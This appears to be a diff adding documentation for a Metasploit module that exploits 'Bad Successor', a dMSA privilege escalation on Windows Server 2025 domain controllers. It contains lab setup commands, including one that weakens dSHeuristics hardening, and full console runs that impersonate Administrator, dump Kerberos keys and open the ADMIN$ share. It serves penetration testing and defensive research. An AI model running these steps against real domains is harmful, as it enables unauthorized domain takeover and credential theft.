|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This module exploits 'Bad Successor', which allows operators to elevate privileges on domain controllers |
| 4 | +running at the Windows 2025 forest functional level. Microsoft decided to introduce Delegated Managed Service |
| 5 | +Accounts (dMSA) in this forest level and they came ripe for exploitation. |
| 6 | + |
| 7 | +Normal users can't create dMSA accounts where dMSA accounts are supposed to be created, the Managed Service |
| 8 | +Accounts OU, but if a normal user has write access to any other OU they can then create a dMSA account in |
| 9 | +said OU. After creating the account the user can edit LDAP attributes of the account to indicate that this |
| 10 | +account should inherit privileges from the Administrator user. Once this is complete we can request kerberos |
| 11 | +tickets on behalf of the dMSA account and voilà, you're admin. |
| 12 | + |
| 13 | +The module has two actions, one for creating the dMSA account and setting it up to impersonate a high |
| 14 | +privilege user, and another action for requesting the kerberos tickets needed to use the dMSA account for privilege |
| 15 | +escalation. |
| 16 | + |
| 17 | +## Setup |
| 18 | +- Download the Windows Server 2025 .iso |
| 19 | +- Install a new Windows Server 2025 instance. |
| 20 | +- Rename the computer to `DC1` and hardcode the IP address. |
| 21 | +- Promote the server to a domain controller for a new forest (e.g., `msf.local`). |
| 22 | +- Set the domain functional level to Windows Server 2025. |
| 23 | +- Once the domain controller is set up, create a `KdsRootKey` with an effective time at least 10 hours in the past: |
| 24 | +```powershell |
| 25 | +PS C:\Users\Administrator> Add-KdsRootKey -EffectiveTime (Get-Date).AddHours(-10) |
| 26 | +
|
| 27 | +Guid |
| 28 | +---- |
| 29 | +6d0d01bb-f6e6-0f0c-7ec8-d65d2cbca174 |
| 30 | +``` |
| 31 | +- Verify the key has been created and the `EffectiveTime` is in the past successfully with the following command: |
| 32 | +``` |
| 33 | +PS C:\Users\Administrator> Get-KdsRootKey |
| 34 | +
|
| 35 | +
|
| 36 | +AttributeOfWrongFormat : |
| 37 | +KeyValue : {117, 226, 79, 104...} |
| 38 | +EffectiveTime : 11/17/2025 7:46:20 AM |
| 39 | +CreationTime : 11/17/2025 5:46:20 PM |
| 40 | +IsFormatValid : True |
| 41 | +DomainController : CN=DC5,OU=Domain Controllers,DC=msf,DC=test |
| 42 | +ServerConfiguration : Microsoft.KeyDistributionService.Cmdlets.KdsServerConfiguration |
| 43 | +KeyId : 6d0d01bb-f6e6-0f0c-7ec8-d65d2cbca174 |
| 44 | +VersionNumber : 1 |
| 45 | +``` |
| 46 | +- Create an Organizational Unit (OU) to contain the dMSA accounts: |
| 47 | +```powershell |
| 48 | +New-ADOrganizationalUnit -Name "testing" -Path "DC=msf,DC=local" |
| 49 | +``` |
| 50 | +- Open Active Directory Users and Computers (ADUC) and delegate CreateAllChild permissions on the newly created OU to a low-privilege user. |
| 51 | +- Select the new OU, right-click, and choose Properties |
| 52 | +- Select the Security tab and click Advanced |
| 53 | +- Click Add, then click Select a principal |
| 54 | +- Enter the low-privilege user's name and click OK |
| 55 | +- In the Permissions window, check the box for Create all child objects and click OK |
| 56 | +- Ensure Type is set to "Allow" |
| 57 | +- Ensure Applies to is set to "This object and all descendant objects" - important |
| 58 | +- Click OK to apply the changes and close all dialog boxes. |
| 59 | +- The low-privilege user should now have the necessary permissions to create dMSA accounts in the specified OU and edit |
| 60 | +its attributes in order to be vulnerable to Bad Successor. |
| 61 | +- Run the following command to ensure the domain controller has not had any hardening applied that might prevent BadSuccessor for being exploited: |
| 62 | +```powershell |
| 63 | +(Get-ADObject ("CN=Directory Service,CN=Windows NT,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Properties dSHeuristics).dSHeuristics |
| 64 | +``` |
| 65 | +- If the output is blank, that means dSHeuristics is set to the default and the domain controller is vulnerable. |
| 66 | +- If the output contains a value ensure that the 28th character is not set to '1' (e.g., `00000000010000000002000000000`) |
| 67 | +- For testing purposes, if it is set to '1', you can set it to a vulnerable value with admin privileges and the following command: |
| 68 | +```powershell |
| 69 | +Set-ADObject ("CN=Directory Service,CN=Windows NT,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -replace @{dSHeuristics='00000000010000000002000000001'} |
| 70 | +``` |
| 71 | + |
| 72 | +## Actions |
| 73 | + |
| 74 | +There are two kind of actions the module can run: |
| 75 | + |
| 76 | +1. **CREATE_DMSA** - Creates a dMSA account vulnerable to BadSuccessor. [Default] |
| 77 | +2. **GET_TICKET** - Issues a kerberos ticket for the created dMSA account to gain elevated privileges. |
| 78 | + |
| 79 | +## Verification Steps |
| 80 | + |
| 81 | +1. Start msfconsole |
| 82 | +1. Create a dMSA account and set it to impersonate Administrator: |
| 83 | +1. Do: `use admin/ldap/bad_successor` |
| 84 | +1. Do: `set ACTION CREATE_DMSA` |
| 85 | +1. Do: `set RHOSTNAME <domain controller FQDN>` |
| 86 | +1. Do: `set DMSA_ACCOUNT_NAME <dMSA account name>` |
| 87 | +1. Do: `set ACCOUNT_TO_IMPERSONATE Administrator` |
| 88 | +1. Do: `set LDAPDomain <domain name>` |
| 89 | +1. Do: `set LDAPUsername <username>` |
| 90 | +1. Do: `set LDAPPassword <password>` |
| 91 | +1. Do: `set rhost <domain controller IP>` |
| 92 | +1. Do: `run` |
| 93 | +1. Use the created dMSA account to get elevated kerberos tickets: |
| 94 | +1. Do: `set ACTION GET_TICKET` |
| 95 | +1. Do: `set SERVICE cifs` |
| 96 | +1. With all the other options the same as before, do: `run` |
| 97 | + |
| 98 | +## Options |
| 99 | + |
| 100 | +### DMSA_ACCOUNT_NAME |
| 101 | + |
| 102 | +The name of the dMSA account to be created. |
| 103 | + |
| 104 | +### ACCOUNT_TO_IMPERSONATE |
| 105 | + |
| 106 | +The name of the account to impersonate using the dMSA. |
| 107 | + |
| 108 | +### DC_FQDN |
| 109 | + |
| 110 | +The fully qualified domain name (FQDN) of the domain controller. |
| 111 | + |
| 112 | +## Scenarios |
| 113 | + |
| 114 | +### Action: CREATE_DMSA |
| 115 | +#### Create dMSA on a Windows 2025 Domain Controller |
| 116 | +``` |
| 117 | +msf auxiliary(admin/ldap/bad_successor) > set RHOSTNAME dc5.msf.test |
| 118 | +RHOSTNAME => dc5.msf.test |
| 119 | +msf auxiliary(admin/ldap/bad_successor) > set DMSA_ACCOUNT_NAME attacker_dMSA |
| 120 | +DMSA_ACCOUNT_NAME => attacker_dMSA |
| 121 | +msf auxiliary(admin/ldap/bad_successor) > set LDAPDomain msf.test |
| 122 | +LDAPDomain => msf.test |
| 123 | +msf auxiliary(admin/ldap/bad_successor) > set LDAPPassword N0tpassword! |
| 124 | +LDAPPassword => N0tpassword! |
| 125 | +smsf auxiliary(admin/ldap/bad_successor) > set LDAPUsername msfuser |
| 126 | +LDAPUsername => msfuser |
| 127 | +msf auxiliary(admin/ldap/bad_successor) > set rhost 172.16.199.209 |
| 128 | +rhost => 172.16.199.209 |
| 129 | +msf auxiliary(admin/ldap/bad_successor) > run |
| 130 | +[*] Discovering base DN automatically |
| 131 | +[+] Found 3 OUs we can write to, listing them below: |
| 132 | +[+] - OU=Domain Controllers,DC=msf,DC=test |
| 133 | +[+] - OU=BadBois,DC=msf,DC=test |
| 134 | +[+] - OU=dMSA_Accounts,DC=msf,DC=test |
| 135 | +[*] Attempting to create dmsa account cn: attacker_dMSA, dn: CN=attacker_dMSA,OU=dMSA_Accounts,DC=msf,DC=test |
| 136 | +[+] Created dmsa attacker_dMSA |
| 137 | +[*] Setting attributes for dMSA object: CN=attacker_dMSA,OU=dMSA_Accounts,DC=msf,DC=test |
| 138 | +[+] Successfully updated attributes for dMSA object: CN=attacker_dMSA,OU=dMSA_Accounts,DC=msf,DC=test |
| 139 | +[*] msds-delegatedmsastate => ["2"] |
| 140 | +[*] msds-managedaccountprecededbylink => ["CN=Administrator,CN=Users,DC=msf,DC=test"] |
| 141 | +[*] Auxiliary module execution completed |
| 142 | +``` |
| 143 | + |
| 144 | +### Action: GET_TICKET |
| 145 | +#### Elevate privileges using the created dMSA |
| 146 | +``` |
| 147 | +msf auxiliary(admin/ldap/bad_successor) > set RHOSTNAME dc5.msf.test |
| 148 | +RHOSTNAME => dc5.msf.test |
| 149 | +msf auxiliary(admin/ldap/bad_successor) > set DMSA_ACCOUNT_NAME attacker_dMSA |
| 150 | +DMSA_ACCOUNT_NAME => attacker_dMSA |
| 151 | +msf auxiliary(admin/ldap/bad_successor) > set LDAPDomain msf.test |
| 152 | +LDAPDomain => msf.test |
| 153 | +msf auxiliary(admin/ldap/bad_successor) > set LDAPPassword N0tpassword! |
| 154 | +LDAPPassword => N0tpassword! |
| 155 | +smsf auxiliary(admin/ldap/bad_successor) > set LDAPUsername msfuser |
| 156 | +LDAPUsername => msfuser |
| 157 | +msf auxiliary(admin/ldap/bad_successor) > set rhost 172.16.199.209 |
| 158 | +rhost => 172.16.199.209 |
| 159 | +msf auxiliary(admin/ldap/bad_successor) > run |
| 160 | +[*] Running module against 172.16.199.209 |
| 161 | +[*] Loading admin/kerberos/get_ticket |
| 162 | +[*] 172.16.199.209:88 - Getting TGT for msfuser@msf.test |
| 163 | +[+] 172.16.199.209:88 - Received a valid TGT-Response |
| 164 | +[*] 172.16.199.209:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20251119215739_default_172.16.199.209_mit.kerberos.cca_626542.bin |
| 165 | +[+] Obtained TGT for the user msfuser |
| 166 | +[*] Using cached credential for krbtgt/MSF.TEST@MSF.TEST msfuser@MSF.TEST |
| 167 | +[*] 172.16.199.209:88 - Getting TGS impersonating attacker_dMSA$@msf.test (SPN: krbtgt/msf.test) |
| 168 | +[+] 172.16.199.209:88 - Received a valid TGS-Response |
| 169 | +[*] 172.16.199.209:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20251119215741_default_172.16.199.209_mit.kerberos.cca_263687.bin |
| 170 | +[*] dMSA Key Package: |
| 171 | +[*] Current Keys: |
| 172 | +[+] Type: AES256, Key: c1085cb36ef8c1e7d62693ba4e3402523c8a4c300591ac2fdd1643d0cd80e6ad |
| 173 | +[+] Type: AES128, Key: ce576bbe6386f5aaee691192ecf0684a |
| 174 | +[+] Type: RC4, Key: 9857452d6e592835e9b4ef337c1be5c8 |
| 175 | +[*] Previous Keys: |
| 176 | +[+] Type: RC4, Key: 4fd408d8f8ecb20d4b0768a0ac44b71f |
| 177 | +[+] Obtained TGT for dMSA attacker_dMSA |
| 178 | +[*] Using cached credential for krbtgt/MSF.TEST@MSF.TEST attacker_dMSA$@msf.test |
| 179 | +[*] 172.16.199.209:88 - Getting TGS for attacker_dMSA$@msf.test (SPN: cifs/dc5.msf.test) |
| 180 | +[+] 172.16.199.209:88 - Received a valid TGS-Response |
| 181 | +[*] 172.16.199.209:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20251119215742_default_172.16.199.209_mit.kerberos.cca_858140.bin |
| 182 | +[+] 172.16.199.209:88 - Received a valid delegation TGS-Response |
| 183 | +[+] Obtained elevated TGT for attacker_dMSA |
| 184 | +[*] Auxiliary module execution completed |
| 185 | +``` |
| 186 | + |
| 187 | +### Use ticket to connect to the ADMIN$ SMB share |
| 188 | +``` |
| 189 | +msf auxiliary(scanner/smb/smb_login) > set username attacker_dMSA$ |
| 190 | +username => attacker_dMSA$ |
| 191 | +msf auxiliary(scanner/smb/smb_login) > set rhost 172.16.199.209 |
| 192 | +rhost => 172.16.199.209 |
| 193 | +msf auxiliary(scanner/smb/smb_login) > set domaincontrollerrhost 172.16.199.209 |
| 194 | +domaincontrollerrhost => 172.16.199.209 |
| 195 | +msf auxiliary(scanner/smb/smb_login) > set SMB::Rhostname dc5.msf.test |
| 196 | +SMB::Rhostname => dc5.msf.test |
| 197 | +msf auxiliary(scanner/smb/smb_login) > set SMB::Auth kerberos |
| 198 | +SMB::Auth => kerberos |
| 199 | +msf auxiliary(scanner/smb/smb_login) > set SMB::Krb5Ccname |
| 200 | +SMB::Krb5Ccname => |
| 201 | +msf auxiliary(scanner/smb/smb_login) > set SMB::Krb5Ccname /Users/jheysel/.msf4/loot/20251119215742_default_172.16.199.209_mit.kerberos.cca_858140.bin |
| 202 | +SMB::Krb5Ccname => /Users/jheysel/.msf4/loot/20251119215742_default_172.16.199.209_mit.kerberos.cca_858140.bin |
| 203 | +msf auxiliary(scanner/smb/smb_login) > run |
| 204 | +[*] 172.16.199.209:445 - 172.16.199.209:445 - Starting SMB login bruteforce |
| 205 | +[*] 172.16.199.209:445 - Loaded a credential from ticket file: /Users/jheysel/.msf4/loot/20251119215742_default_172.16.199.209_mit.kerberos.cca_858140.bin |
| 206 | +[+] 172.16.199.209:445 - 172.16.199.209:445 - Success: 'msf.test\attacker_dMSA$:' Administrator |
| 207 | +[*] SMB session 3 opened (172.16.199.1:33643 -> 172.16.199.209:445) at 2025-11-19 22:23:14 -0800 |
| 208 | +[*] 172.16.199.209:445 - Scanned 1 of 1 hosts (100% complete) |
| 209 | +[*] 172.16.199.209:445 - Bruteforce completed, 1 credential was successful. |
| 210 | +[*] 172.16.199.209:445 - 1 SMB session was opened successfully. |
| 211 | +[*] Auxiliary module execution completed |
| 212 | +msf auxiliary(scanner/smb/smb_login) > sessions -i |
| 213 | +
|
| 214 | +Active sessions |
| 215 | +=============== |
| 216 | +
|
| 217 | + Id Name Type Information Connection |
| 218 | + -- ---- ---- ----------- ---------- |
| 219 | + 3 smb SMB attacker_dMSA$ @ 172.16.199.209:445 172.16.199.1:33643 -> 172.16.199.209:445 (172.16.199.209) |
| 220 | +
|
| 221 | +msf auxiliary(scanner/smb/smb_login) > sessions -i -1 |
| 222 | +[*] Starting interaction with 3... |
| 223 | +
|
| 224 | +SMB (172.16.199.209) > shares |
| 225 | +Shares |
| 226 | +====== |
| 227 | +
|
| 228 | + # Name Type comment |
| 229 | + - ---- ---- ------- |
| 230 | + 0 ADMIN$ DISK|SPECIAL Remote Admin |
| 231 | + 1 C$ DISK|SPECIAL Default share |
| 232 | + 2 IPC$ IPC|SPECIAL Remote IPC |
| 233 | + 3 NETLOGON DISK Logon server share |
| 234 | + 4 SYSVOL DISK Logon server share |
| 235 | + |
| 236 | +SMB (172.16.199.209) > shares -i ADMIN$ |
| 237 | +[+] Successfully connected to ADMIN$ |
| 238 | +SMB (172.16.199.209\ADMIN$) > pwd |
| 239 | +Current directory is \\172.16.199.209\ADMIN$\ |
| 240 | +``` |
0 commit comments